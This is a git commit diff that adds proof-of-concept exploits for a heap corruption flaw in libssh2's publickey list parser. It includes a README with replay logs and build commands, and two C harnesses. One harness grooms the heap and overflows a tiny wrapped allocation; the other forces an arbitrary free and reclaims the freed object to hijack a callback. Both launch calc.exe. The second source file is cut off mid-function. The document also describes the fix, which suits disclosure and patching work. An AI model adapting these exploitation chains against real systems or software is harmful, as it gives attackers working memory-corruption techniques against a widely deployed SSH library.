Add libssh2 publickey list calc PoCs

This commit is contained in:
ashton
2026-06-25 19:20:45 -05:00
parent fd89dcfaf1
commit 886051ba88
11 changed files with 1153 additions and 3 deletions

View File

@@ -25,6 +25,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o
| `gitea-act-runner-container-options-poc` | `f06d78fb111732f3e7737f4c07e77ef94c4b64bf` | 4 | | `gitea-act-runner-container-options-poc` | `f06d78fb111732f3e7737f4c07e77ef94c4b64bf` | 4 |
| `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 | | `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 |
| `libssh2-cve-2026-55200-poc` | direct entry, June 23, 2026 | 3 | | `libssh2-cve-2026-55200-poc` | direct entry, June 23, 2026 | 3 |
| `libssh2-publickey-list-calc-poc` | direct entry, June 25, 2026 | 10 |
| `lunar-modrinth-chain-poc` | `ffd02120708b6503f11585858ce3724872f3b7a7` | 6 | | `lunar-modrinth-chain-poc` | `ffd02120708b6503f11585858ce3724872f3b7a7` | 6 |
| `mybb-limited-acp-to-admin` | `1610e0373943c2f6562a99f917d3a3d1fdd9056d` | 5 | | `mybb-limited-acp-to-admin` | `1610e0373943c2f6562a99f917d3a3d1fdd9056d` | 5 |
| `nmap-ipv6-extlen-wrap-poc` | direct entry, June 23, 2026 | 4 | | `nmap-ipv6-extlen-wrap-poc` | direct entry, June 23, 2026 | 4 |
@@ -40,7 +41,7 @@ This section applies to the former standalone repositories listed above by commi
The consolidation was checked from fresh GitHub clones on June 23, 2026 before the old standalone repos were removed. The consolidation was checked from fresh GitHub clones on June 23, 2026 before the old standalone repos were removed.
The check compared each former standalone repo's `HEAD` tree against the matching folder here using Git tree data, not a loose filesystem diff. For every tracked entry, the check required: The check compared each former standalone repo's `HEAD` tree against the matching folder here using Git tree data rather than a loose filesystem diff. For every tracked entry, the check required:
- the same relative path; - the same relative path;
- the same Git object type; - the same Git object type;
@@ -49,6 +50,6 @@ The check compared each former standalone repo's `HEAD` tree against the matchin
Matching Git blob IDs means the tracked file bytes are identical. The check covered 12 repos and 96 tracked entries with zero mismatches. Matching Git blob IDs means the tracked file bytes are identical. The check covered 12 repos and 96 tracked entries with zero mismatches.
This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history are not represented inside the folders. This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories.
Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nmap-ipv6-extlen-wrap-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.

View File

@@ -0,0 +1,206 @@
# libssh2 publickey list calc PoCs
Windows calc payload proofs for the libssh2 publickey subsystem list parser.
Verified target:
```text
libssh2/libssh2 master
e75b4bae3c68a9bde71de1fb6b0fba5b0c716020
2026-06-24
```
## Summary
`libssh2_publickey_list_fetch()` accepts a stream of publickey-subsystem response packets and grows an array of `libssh2_publickey_list` entries as `publickey` responses arrive.
Two exploit paths are included:
```text
Win32 allocation-wrap chain
num_attrs * sizeof(libssh2_publickey_attribute) wraps to a 4-byte allocation.
The attribute parser then writes attacker-controlled fields past the tiny attrs buffer.
The harness grooms an adjacent callback slot and launches calc from the overwritten callback.
Win64 publickey-list cleanup chain
A recognized but unexpected version response frees an attacker-shaped response buffer.
A malformed publickey response then grows the list allocation into that same heap slot.
Cleanup walks attacker-shaped list entries and frees attacker-selected attrs pointers.
The harness routes libssh2 allocation callbacks through a tracked fail-closed heap wrapper,
reclaims the freed victim object, and launches calc through a stale callback.
```
The fixed controls used by the checked binaries are:
```text
zero list[keys] immediately after list growth
reject num_attrs values that overflow the attrs allocation multiplication
```
## Files
```text
poc/publickey_win32_heap_groom_calc_repro.c
poc/publickey_win32_heap_groom_calc_repro.exe
poc/publickey_win32_heap_groom_calc_repro_checked.exe
poc/publickey_win64_arbitrary_free_calc_repro.c
poc/publickey_win64_arbitrary_free_calc_repro.exe
poc/publickey_win64_arbitrary_free_calc_repro_checked.exe
replay-calc-poc.ps1
evidence/2026-06-25-local-calc-replay.txt
SHA256SUMS.txt
```
The checked binaries link against a publickey object with the two parser hardening changes above. The vulnerable binaries link against the target commit.
## Quick replay
Run on Windows:
```powershell
.\replay-calc-poc.ps1
```
Expected proof signals:
```text
x86_vulnerable_calc=hit
calc_launch=success
x86 calc payload reached
x86_checked_calc=no_hit
x64_vulnerable_calc_exit=77
victim_freed=1
same_as_victim=1
calc_launch=success
x64 calc payload reached
x64_checked_calc_exit=0
victim_freed=0
safe_callback_reached
```
The replay starts `calc.exe` for both vulnerable harnesses and writes transient marker files during execution. The marker files are runtime artifacts and are left out of the tracked tree.
## Win32 chain
The 32-bit structure size gives a direct allocation-wrap primitive:
```text
sizeof(libssh2_publickey_attribute) = 20
num_attrs = 0x0ccccccd
0x0ccccccd * 20 = 0x100000004
32-bit allocation size = 4
```
The response packet carries a normal `publickey` response header, small key name/blob strings, and a huge `num_attrs`. Once the attrs allocation wraps to four bytes, the parser enters the attribute loop and writes:
```text
name_len
name pointer
value_len
value pointer
mandatory byte
```
The harness arranges a victim word near the tiny allocation. The overflow replaces that victim word with the callback address. The callback then launches calc.
Representative replay:
```text
attrs_alloc requested=4 ptr=0153a280 msize=4
victim[4064]=0153a2c0 delta=64 word=009c150d
marker_function_reached address=009c150d
calc_launch=success
```
The checked Win32 binary rejects the oversized attribute count before allocation, so the overwritten callback path stays unreachable.
## Win64 chain
The 64-bit structure size removes the tiny allocation wrap for the same value. The useful Win64 primitive comes from the list cleanup path.
Relevant source shape:
```text
list grows with SSH2_REALLOC()
new list entry remains uninitialized before parsing finishes
unexpected recognized version response is freed and parsing continues
malformed publickey response forces the error path
libssh2_publickey_list_free() trusts packet and attrs until a sentinel is found
```
The harness sends:
```text
version groom response sized like the future list allocation
malformed publickey response
```
The groom response places the victim object pointer at the `attrs` offset of the first future list entry. The malformed response makes parsing fail before the new entry and sentinel are initialized. Cleanup then frees the victim through the attacker-shaped `attrs` field.
The harness uses libssh2 custom allocator callbacks backed by a tracked fail-closed heap wrapper. That wrapper accepts the valid victim free, ignores an unrelated invalid packet free, and leaves the process alive long enough for the stale object to be reclaimed. A same-size allocation then lands on the freed victim slot and installs the calc callback.
Representative replay:
```text
free ptr=000001DE60380860
free_ignored_unknown ptr=000001DE60380150
fetch rc=-1 num_keys=0 victim_freed=1 heap_free_failures=1
replacement=000001DE60380860 same_as_victim=1
calc_payload_reached callback=00007FF76A5118A5
calc_launch=success
```
The checked Win64 binary zeroes the grown list entry before parsing, so cleanup frees the actual response/list allocations and the stale victim callback remains unchanged.
## Affected code areas
```text
src/publickey.c:895-908
list growth with SSH2_REALLOC()
src/publickey.c:1049-1053
attrs allocation uses num_attrs * sizeof(libssh2_publickey_attribute)
src/publickey.c:1060-1110
attribute loop writes fields into attrs[i]
src/publickey.c:1123-1128
unexpected recognized response frees listFetch_data and continues
src/publickey.c:1138-1139
error path frees the partially built list
src/publickey.c:1158-1161
list_free trusts packet and attrs fields until a sentinel entry
```
## Rebuild notes
The binaries were built with MinGW-w64 and linked against `publickey.c` objects compiled from the target commit and from the checked variant.
Equivalent source build shape:
```powershell
x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64.o -lws2_32 -lbcrypt
x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro_checked.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64_checked.o -lws2_32 -lbcrypt
i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32.o -lws2_32 -lbcrypt
i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro_checked.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32_checked.o -lws2_32 -lbcrypt
```
## Fix shape
The parser hardening is compact:
```text
After list growth succeeds:
memset(&list[keys], 0, sizeof(list[keys]))
Before attrs allocation:
if num_attrs exceeds SIZE_MAX / sizeof(libssh2_publickey_attribute), reject the response
```
These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked binaries.

View File

@@ -0,0 +1,9 @@
1FB2F963B1CC4AE006057DF5B1AD4582A8B019A8E077BCA70766123B4BA8CED0 evidence/2026-06-25-local-calc-replay.txt
641801B428B2046B92F164C15761182E2D011E5076FC4B0A72AD225F0243DAFD poc/publickey_win32_heap_groom_calc_repro.c
52F74CD7ACA634B1C3BA3CED07E3B5B7751CBAA751384036412B02F9278C0696 poc/publickey_win32_heap_groom_calc_repro.exe
4781A6DC8CFDE85429D75D03B3E2A7F27158995C68647973D6613D6217244165 poc/publickey_win32_heap_groom_calc_repro_checked.exe
D381904C6F61BC8BEE9711236CA96509BBEC35069DED18C76443A0E7C6D776E7 poc/publickey_win64_arbitrary_free_calc_repro.c
B38B1033D31CEB96820F968889EC777B5F592C9145F4D23C2291B750D9B38F7B poc/publickey_win64_arbitrary_free_calc_repro.exe
D51415DBA11B634EFE126ACE3CA887CF4B32198C5A479931FBC68D24308E5266 poc/publickey_win64_arbitrary_free_calc_repro_checked.exe
A033AF42313BCCA3C3D9D76C343388A2C096DC71C305FD010FEC640CA07D3D19 README.md
2E88D97AEB90BBCBC72EFB73D493E64437E5E472F4DF21608F93E8141669E012 replay-calc-poc.ps1

View File

@@ -0,0 +1,448 @@
#include <winsock2.h>
#include <windows.h>
#include <malloc.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libssh2_priv.h"
#include "libssh2_publickey.h"
#include "channel.h"
#define PAIRS 4096
#define VICTIM_SIZE 4
#define DEFAULT_MARKER_VALUE 0x41424344UL
#define DEFAULT_TARGET_INDEX (PAIRS - 8)
static unsigned char wire[4096];
static size_t wire_len;
static size_t wire_off;
static void *small_chunks[PAIRS];
static void *fillers[PAIRS][3];
static unsigned char *victims[PAIRS];
static void *attrs_ptr;
static size_t attrs_msize;
static int terminal_attr = 0;
static char terminal_field = 'n';
static uint32_t marker_value = DEFAULT_MARKER_VALUE;
static int call_mode;
static int target_index = DEFAULT_TARGET_INDEX;
static int private_heap_mode;
static HANDLE proof_heap;
static void reached_marker(void)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
char cmd[] = "calc.exe";
FILE *f = fopen("x86_calc_payload_reached.txt", "wb");
if(f) {
fputs("x86 calc payload reached\n", f);
fclose(f);
}
fprintf(stderr, "marker_function_reached address=%p\n", reached_marker);
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si,
&pi)) {
fprintf(stderr, "calc_launch=success pid=%lu\n",
(unsigned long)pi.dwProcessId);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else {
fprintf(stderr, "calc_launch=failed error=%lu\n",
(unsigned long)GetLastError());
ExitProcess(78);
}
ExitProcess(77);
}
static void *proof_malloc(size_t size)
{
if(private_heap_mode)
return HeapAlloc(proof_heap, 0, size ? size : 1);
return malloc(size ? size : 1);
}
static void *proof_calloc(size_t size)
{
void *ptr = proof_malloc(size);
if(ptr)
memset(ptr, 0, size);
return ptr;
}
static void proof_free(void *ptr)
{
if(private_heap_mode)
HeapFree(proof_heap, 0, ptr);
else
free(ptr);
}
static void *proof_realloc(void *ptr, size_t size)
{
if(!ptr)
return proof_malloc(size);
if(private_heap_mode)
return HeapReAlloc(proof_heap, 0, ptr, size ? size : 1);
return realloc(ptr, size ? size : 1);
}
static size_t proof_msize(void *ptr)
{
if(private_heap_mode) {
SIZE_T size = HeapSize(proof_heap, 0, ptr);
return size == (SIZE_T)-1 ? 0 : (size_t)size;
}
return _msize(ptr);
}
static LIBSSH2_ALLOC_FUNC(heap_alloc)
{
void *ptr;
(void)abstract;
if(count == 4)
ptr = proof_malloc(count);
else
ptr = proof_calloc(count);
if(count == 4) {
attrs_ptr = ptr;
attrs_msize = ptr ? proof_msize(ptr) : 0;
fprintf(stderr, "attrs_alloc requested=%lu ptr=%p msize=%lu\n",
(unsigned long)count, ptr, (unsigned long)attrs_msize);
}
return ptr;
}
static LIBSSH2_FREE_FUNC(heap_free)
{
(void)abstract;
if(ptr == attrs_ptr)
return;
proof_free(ptr);
}
static LIBSSH2_REALLOC_FUNC(heap_realloc)
{
void *newptr;
(void)abstract;
if(!ptr)
return heap_alloc(count, abstract);
newptr = proof_realloc(ptr, count);
return newptr;
}
int ssh2_err(LIBSSH2_SESSION *session, int errcode, const char *errmsg)
{
if(session) {
session->err_code = errcode;
session->err_msg = (char *)errmsg;
}
return errcode;
}
int ssh2_err_flags(LIBSSH2_SESSION *session, int errcode, const char *errmsg,
int errflags)
{
(void)errflags;
return ssh2_err(session, errcode, errmsg);
}
uint32_t ssh2_ntohu32(const unsigned char *buf)
{
return ((uint32_t)buf[0] << 24) | ((uint32_t)buf[1] << 16) |
((uint32_t)buf[2] << 8) | (uint32_t)buf[3];
}
void ssh2_htonu32(unsigned char *buf, uint32_t value)
{
buf[0] = (unsigned char)(value >> 24);
buf[1] = (unsigned char)(value >> 16);
buf[2] = (unsigned char)(value >> 8);
buf[3] = (unsigned char)value;
}
void ssh2_store_u32(unsigned char **buf, uint32_t value)
{
ssh2_htonu32(*buf, value);
*buf += 4;
}
int ssh2_store_str(unsigned char **buf, const char *str, size_t len)
{
ssh2_store_u32(buf, (uint32_t)len);
memcpy(*buf, str, len);
*buf += len;
return 0;
}
ssize_t ssh2_channel_write(LIBSSH2_CHANNEL *channel, int stream_id,
const unsigned char *buf, size_t buflen)
{
(void)channel;
(void)stream_id;
(void)buf;
return (ssize_t)buflen;
}
ssize_t ssh2_channel_read(LIBSSH2_CHANNEL *channel, int stream_id,
char *buf, size_t buflen)
{
(void)channel;
(void)stream_id;
if(wire_off + buflen > wire_len)
return -1;
memcpy(buf, wire + wire_off, buflen);
wire_off += buflen;
return (ssize_t)buflen;
}
int ssh2_channel_free(LIBSSH2_CHANNEL *channel)
{
(void)channel;
return 0;
}
int ssh2_channel_close(LIBSSH2_CHANNEL *channel)
{
(void)channel;
return 0;
}
int libssh2_session_last_errno(LIBSSH2_SESSION *session)
{
return session ? session->err_code : 0;
}
int ssh2_wait_socket(LIBSSH2_SESSION *session, time_t start_time)
{
(void)session;
(void)start_time;
return 0;
}
LIBSSH2_CHANNEL *ssh2_channel_open(LIBSSH2_SESSION *session,
const char *channel_type,
uint32_t channel_type_len,
uint32_t window_size,
uint32_t packet_size,
const unsigned char *message,
size_t message_len)
{
(void)session;
(void)channel_type;
(void)channel_type_len;
(void)window_size;
(void)packet_size;
(void)message;
(void)message_len;
return NULL;
}
int ssh2_channel_process_startup(LIBSSH2_CHANNEL *channel,
const char *request, size_t request_len,
const char *message, size_t message_len)
{
(void)channel;
(void)request;
(void)request_len;
(void)message;
(void)message_len;
return LIBSSH2_ERROR_SOCKET_NONE;
}
int ssh2_channel_extended_data(LIBSSH2_CHANNEL *channel, int ignore_mode)
{
(void)channel;
(void)ignore_mode;
return 0;
}
void *ssh2_calloc(LIBSSH2_SESSION *session, size_t size)
{
void *ptr = heap_alloc(size, session ? session->abstract : NULL);
if(ptr)
memset(ptr, 0, size);
return ptr;
}
static unsigned char *put_string(unsigned char *p, const char *s)
{
size_t len = strlen(s);
ssh2_store_u32(&p, (uint32_t)len);
memcpy(p, s, len);
return p + len;
}
static unsigned char *put_response(unsigned char *w, unsigned char *payload,
size_t payload_len)
{
ssh2_htonu32(w, (uint32_t)payload_len);
memcpy(w + 4, payload, payload_len);
return w + 4 + payload_len;
}
static void build_attr_spray_response(void)
{
unsigned char payload[3072];
unsigned char status[64];
unsigned char *p = payload;
unsigned char *s = status;
unsigned char *w = wire;
uint32_t attr_size = (uint32_t)sizeof(libssh2_publickey_attribute);
uint32_t num_attrs = (uint32_t)((0x100000000ULL / attr_size) + 1);
int i;
p = put_string(p, "publickey");
p = put_string(p, "n");
p = put_string(p, "b");
ssh2_store_u32(&p, num_attrs);
for(i = 0; i < 80; i++) {
if(i == terminal_attr && terminal_field == 'n') {
ssh2_store_u32(&p, marker_value);
break;
}
else
ssh2_store_u32(&p, 0);
if(i == terminal_attr && terminal_field == 'v') {
ssh2_store_u32(&p, marker_value);
break;
}
else
ssh2_store_u32(&p, 0);
}
w = put_response(w, payload, (size_t)(p - payload));
s = put_string(s, "status");
ssh2_store_u32(&s, 0);
ssh2_store_u32(&s, 0);
ssh2_store_u32(&s, 0);
w = put_response(w, status, (size_t)(s - status));
wire_len = (size_t)(w - wire);
fprintf(stderr, "attr_size=%lu num_attrs=0x%08lx wrapped=%lu wire=%lu\n",
(unsigned long)attr_size, (unsigned long)num_attrs,
(unsigned long)(num_attrs * attr_size),
(unsigned long)wire_len);
}
static void groom_heap(void)
{
int i;
for(i = 0; i < PAIRS; i++) {
small_chunks[i] = proof_malloc(4);
fillers[i][0] = proof_malloc(4);
fillers[i][1] = proof_malloc(4);
fillers[i][2] = proof_malloc(4);
victims[i] = proof_malloc(VICTIM_SIZE);
memset(victims[i], 0x45, VICTIM_SIZE);
*(uint32_t *)(victims[i] + 0) = 0xfeedfaceUL;
}
if(target_index < 0 || target_index >= PAIRS)
target_index = DEFAULT_TARGET_INDEX;
free(small_chunks[target_index]);
fprintf(stderr, "target_index=%d freed_small=%p victim=%p expected_delta=%ld\n",
target_index, small_chunks[target_index], victims[target_index],
(long)(victims[target_index] -
(unsigned char *)small_chunks[target_index]));
}
static int scan_victims(void)
{
int i;
int hits = 0;
int marker_hits = 0;
for(i = 0; i < PAIRS; i++) {
int changed = 0;
if(*(uint32_t *)(victims[i] + 0) != 0xfeedfaceUL)
changed = 1;
if(changed) {
intptr_t delta = attrs_ptr ?
(intptr_t)(victims[i] - (unsigned char *)attrs_ptr) : 0;
fprintf(stderr, "victim[%d]=%p delta=%ld word=%08lx\n",
i, victims[i], (long)delta,
(unsigned long)*(uint32_t *)(victims[i] + 0));
if(*(uint32_t *)(victims[i] + 0) == marker_value) {
marker_hits++;
if(call_mode) {
void (*fn)(void) =
(void (*)(void))(*(uintptr_t *)(victims[i] + 0));
fn();
}
}
hits++;
if(hits >= 8)
break;
}
}
fprintf(stderr, "marker_hits=%d\n", marker_hits);
return marker_hits;
}
int main(int argc, char **argv)
{
LIBSSH2_SESSION session;
LIBSSH2_CHANNEL channel;
LIBSSH2_PUBLICKEY pkey;
libssh2_publickey_list *list = NULL;
unsigned long num_keys = 0;
int rc;
int hits;
if(argc > 1)
terminal_attr = atoi(argv[1]);
if(argc > 2 && argv[2][0])
terminal_field = argv[2][0];
{
int argi;
for(argi = 3; argi < argc; argi++) {
if(!strcmp(argv[argi], "call")) {
call_mode = 1;
marker_value = (uint32_t)(uintptr_t)reached_marker;
}
else if(!strcmp(argv[argi], "private"))
private_heap_mode = 1;
else
target_index = atoi(argv[argi]);
}
}
if(private_heap_mode) {
proof_heap = HeapCreate(0, 0, 0);
if(!proof_heap)
return 2;
}
fprintf(stderr, "terminal_attr=%d terminal_field=%c marker=0x%08lx target_index=%d heap=%s\n",
terminal_attr, terminal_field, (unsigned long)marker_value,
target_index, private_heap_mode ? "private" : "crt");
memset(&session, 0, sizeof(session));
memset(&channel, 0, sizeof(channel));
memset(&pkey, 0, sizeof(pkey));
session.alloc = heap_alloc;
session.free = heap_free;
session.realloc = heap_realloc;
channel.session = &session;
pkey.channel = &channel;
pkey.version = 2;
groom_heap();
build_attr_spray_response();
rc = libssh2_publickey_list_fetch(&pkey, &num_keys, &list);
hits = scan_victims();
fprintf(stderr, "return rc=%d num_keys=%lu list=%p hits=%d attrs_ptr=%p msize=%lu\n",
rc, num_keys, list, hits, attrs_ptr, (unsigned long)attrs_msize);
return hits ? 77 : 1;
}

View File

@@ -0,0 +1,410 @@
#include <winsock2.h>
#include <windows.h>
#include <stdint.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libssh2_priv.h"
#include "libssh2_publickey.h"
#include "channel.h"
struct victim {
void (*cb)(void);
unsigned char pad[120];
};
#define MAX_RECORDS 8192
struct alloc_record {
void *ptr;
int live;
};
static HANDLE app_heap;
static unsigned char wire[131072];
static size_t wire_len;
static size_t wire_off;
static struct victim *stale_victim;
static void *small_guard;
static int victim_freed;
static int launch_real_calc;
static unsigned long heap_free_failures;
static struct alloc_record records[MAX_RECORDS];
static void track_ptr(void *ptr)
{
size_t i;
if(!ptr)
return;
for(i = 0; i < MAX_RECORDS; i++) {
if(!records[i].live) {
records[i].ptr = ptr;
records[i].live = 1;
return;
}
}
}
static int untrack_ptr(void *ptr)
{
size_t i;
for(i = 0; i < MAX_RECORDS; i++) {
if(records[i].live && records[i].ptr == ptr) {
records[i].live = 0;
return 1;
}
}
return 0;
}
static void safe_callback(void)
{
fprintf(stderr, "safe_callback_reached\n");
}
static void launch_calc_callback(void)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
char cmd[] = "calc.exe";
FILE *f = fopen("x64_calc_payload_reached.txt", "wb");
if(f) {
fputs("x64 calc payload reached\n", f);
fclose(f);
}
fprintf(stderr, "calc_payload_reached callback=%p\n",
launch_calc_callback);
if(launch_real_calc) {
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL,
&si, &pi)) {
fprintf(stderr, "calc_launch=success pid=%lu\n",
(unsigned long)pi.dwProcessId);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else {
fprintf(stderr, "calc_launch=failed error=%lu\n",
(unsigned long)GetLastError());
ExitProcess(78);
}
}
ExitProcess(77);
}
static void *app_alloc_raw(size_t size)
{
void *ptr = HeapAlloc(app_heap, 0, size ? size : 1);
track_ptr(ptr);
return ptr;
}
static void app_free_raw(void *ptr)
{
if(ptr) {
if(!untrack_ptr(ptr)) {
heap_free_failures++;
fprintf(stderr, "free_ignored_unknown ptr=%p\n", ptr);
return;
}
if(HeapFree(app_heap, 0, ptr)) {
if(ptr == stale_victim)
victim_freed = 1;
}
else {
heap_free_failures++;
fprintf(stderr, "heap_free_failed ptr=%p error=%lu\n", ptr,
(unsigned long)GetLastError());
}
}
}
static LIBSSH2_ALLOC_FUNC(app_alloc)
{
void *ptr;
(void)abstract;
ptr = app_alloc_raw(count);
fprintf(stderr, "alloc size=%llu ptr=%p\n",
(unsigned long long)(count ? count : 1), ptr);
return ptr;
}
static LIBSSH2_FREE_FUNC(app_free)
{
(void)abstract;
fprintf(stderr, "free ptr=%p\n", ptr);
app_free_raw(ptr);
}
static LIBSSH2_REALLOC_FUNC(app_realloc)
{
void *newptr;
(void)abstract;
if(!ptr)
return app_alloc(count, abstract);
newptr = HeapReAlloc(app_heap, 0, ptr, count ? count : 1);
if(newptr) {
untrack_ptr(ptr);
track_ptr(newptr);
}
fprintf(stderr, "realloc old=%p size=%llu new=%p\n", ptr,
(unsigned long long)(count ? count : 1), newptr);
return newptr;
}
int ssh2_err(LIBSSH2_SESSION *session, int errcode, const char *errmsg)
{
if(session) {
session->err_code = errcode;
session->err_msg = (char *)errmsg;
}
return errcode;
}
int ssh2_err_flags(LIBSSH2_SESSION *session, int errcode, const char *errmsg,
int errflags)
{
(void)errflags;
return ssh2_err(session, errcode, errmsg);
}
uint32_t ssh2_ntohu32(const unsigned char *buf)
{
return ((uint32_t)buf[0] << 24) | ((uint32_t)buf[1] << 16) |
((uint32_t)buf[2] << 8) | (uint32_t)buf[3];
}
void ssh2_htonu32(unsigned char *buf, uint32_t value)
{
buf[0] = (unsigned char)(value >> 24);
buf[1] = (unsigned char)(value >> 16);
buf[2] = (unsigned char)(value >> 8);
buf[3] = (unsigned char)value;
}
void ssh2_store_u32(unsigned char **buf, uint32_t value)
{
ssh2_htonu32(*buf, value);
*buf += 4;
}
int ssh2_store_str(unsigned char **buf, const char *str, size_t len)
{
ssh2_store_u32(buf, (uint32_t)len);
memcpy(*buf, str, len);
*buf += len;
return 0;
}
ssize_t ssh2_channel_write(LIBSSH2_CHANNEL *channel, int stream_id,
const unsigned char *buf, size_t buflen)
{
(void)channel;
(void)stream_id;
(void)buf;
return (ssize_t)buflen;
}
ssize_t ssh2_channel_read(LIBSSH2_CHANNEL *channel, int stream_id,
char *buf, size_t buflen)
{
(void)channel;
(void)stream_id;
if(wire_off + buflen > wire_len)
return -1;
memcpy(buf, wire + wire_off, buflen);
wire_off += buflen;
return (ssize_t)buflen;
}
int ssh2_channel_free(LIBSSH2_CHANNEL *channel)
{
(void)channel;
return 0;
}
int ssh2_channel_close(LIBSSH2_CHANNEL *channel)
{
(void)channel;
return 0;
}
int libssh2_session_last_errno(LIBSSH2_SESSION *session)
{
return session ? session->err_code : 0;
}
int ssh2_wait_socket(LIBSSH2_SESSION *session, time_t start_time)
{
(void)session;
(void)start_time;
return 0;
}
LIBSSH2_CHANNEL *ssh2_channel_open(LIBSSH2_SESSION *session,
const char *channel_type,
uint32_t channel_type_len,
uint32_t window_size,
uint32_t packet_size,
const unsigned char *message,
size_t message_len)
{
(void)session;
(void)channel_type;
(void)channel_type_len;
(void)window_size;
(void)packet_size;
(void)message;
(void)message_len;
return NULL;
}
int ssh2_channel_process_startup(LIBSSH2_CHANNEL *channel,
const char *request, size_t request_len,
const char *message, size_t message_len)
{
(void)channel;
(void)request;
(void)request_len;
(void)message;
(void)message_len;
return LIBSSH2_ERROR_SOCKET_NONE;
}
int ssh2_channel_extended_data(LIBSSH2_CHANNEL *channel, int ignore_mode)
{
(void)channel;
(void)ignore_mode;
return 0;
}
void *ssh2_calloc(LIBSSH2_SESSION *session, size_t size)
{
void *ptr = app_alloc(size, session ? session->abstract : NULL);
if(ptr)
memset(ptr, 0, size);
return ptr;
}
static unsigned char *put_string(unsigned char *p, const char *s)
{
size_t len = strlen(s);
ssh2_store_u32(&p, (uint32_t)len);
memcpy(p, s, len);
return p + len;
}
static void append_version_groom(uintptr_t attrs_ptr)
{
size_t payload_len = 9 * sizeof(libssh2_publickey_list);
unsigned char *start = wire + wire_len;
unsigned char *payload = start + 4;
unsigned char *p;
ssh2_htonu32(start, (uint32_t)payload_len);
memset(payload, 0, payload_len);
p = put_string(payload, "version");
memset(p, 0, payload_len - (size_t)(p - payload));
memcpy(payload + offsetof(libssh2_publickey_list, attrs),
&attrs_ptr, sizeof(attrs_ptr));
wire_len += 4 + payload_len;
}
static void append_malformed_publickey(void)
{
unsigned char payload[64];
unsigned char *p = payload;
p = put_string(p, "publickey");
p = put_string(p, "n");
*p++ = 0;
ssh2_htonu32(wire + wire_len, (uint32_t)(p - payload));
memcpy(wire + wire_len + 4, payload, (size_t)(p - payload));
wire_len += 4 + (size_t)(p - payload);
}
static int run_once(void)
{
LIBSSH2_SESSION session;
LIBSSH2_CHANNEL channel;
LIBSSH2_PUBLICKEY pkey;
libssh2_publickey_list *list = NULL;
unsigned long num_keys = 0;
struct victim payload;
struct victim *replacement;
int rc;
memset(&session, 0, sizeof(session));
memset(&channel, 0, sizeof(channel));
memset(&pkey, 0, sizeof(pkey));
memset(&payload, 0x43, sizeof(payload));
stale_victim = app_alloc_raw(sizeof(*stale_victim));
if(!stale_victim)
return 70;
memset(stale_victim, 0x42, sizeof(*stale_victim));
stale_victim->cb = safe_callback;
payload.cb = launch_calc_callback;
fprintf(stderr,
"victim=%p victim_size=%llu replacement_callback=%p list_entry_size=%llu attrs_off=%llu\n",
stale_victim, (unsigned long long)sizeof(*stale_victim),
launch_calc_callback,
(unsigned long long)sizeof(libssh2_publickey_list),
(unsigned long long)offsetof(libssh2_publickey_list, attrs));
{
void *small_prime = app_alloc_raw(19);
small_guard = app_alloc_raw(64);
fprintf(stderr, "small_prime=%p size=19 small_guard=%p size=64\n",
small_prime, small_guard);
app_free_raw(small_prime);
}
session.alloc = app_alloc;
session.free = app_free;
session.realloc = app_realloc;
channel.session = &session;
pkey.channel = &channel;
pkey.version = 2;
append_version_groom((uintptr_t)stale_victim);
append_malformed_publickey();
rc = libssh2_publickey_list_fetch(&pkey, &num_keys, &list);
fprintf(stderr,
"fetch rc=%d num_keys=%lu victim_freed=%d heap_free_failures=%lu\n",
rc, num_keys, victim_freed, heap_free_failures);
replacement = app_alloc_raw(sizeof(*replacement));
fprintf(stderr, "replacement=%p same_as_victim=%d\n", replacement,
replacement == stale_victim);
